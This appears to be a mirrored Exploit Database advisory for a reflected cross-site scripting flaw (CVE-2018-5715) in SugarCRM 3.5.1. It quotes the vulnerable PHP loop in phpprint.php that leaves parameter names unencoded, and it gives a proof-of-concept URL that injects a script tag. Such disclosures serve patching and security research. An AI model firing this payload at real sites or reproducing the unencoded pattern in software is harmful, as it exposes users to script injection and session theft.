SugarCRM 3.5.1 – Cross-Site Scripting

• Exploit Database
• 35 阅读

• 作者： Guilherme Assmann
  日期： 2018-01-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43683/

• # Exploit Title: sugarCRM 3.5.1 XSS refeclted
  # Date: 16/01/2017
  # Exploit Author: Guilherme Assmann
  # Vendor Homepage: https://www.sugarcrm.com/
  # Version: 3.5.1
  # Tested on: kali linux, windows 7, 8.1, 10, ubuntu - Firefox
  # Download https://sourceforge.net/projects/sugarcrm/files/SugarCRM%20Release%20Archive/Sugar%20Suite%203.5.1/
  # CVE: CVE-2018-5715
  More informations: https://m4k4br0.github.io/sugarcrm-xss/
  
  The vulnerability are in the key parameter of phpprint.php
  
  32 foreach ($_GET as $key => $val) {
  33 if ($key != "print") {
  34 if (is_array($val)) {
  35 foreach ($val as $k => $v) {
  36 $query_string .= "{$key}[{$k}]=" . urlencode($v) . "&";
  37 }
  38 }
  39 else {
  40 $query_string .= "{$key}=" . urlencode($val) . "&";
  41 }
  42 }
  43 }
  
  the $key variable are not encoded, this permit that XSS more easy
  ---------------------------------------------------------------------
  Poc:
  http://vulnerable/index.php?action=Login&module=Users&print=a&"/><script>alert('xss')</script>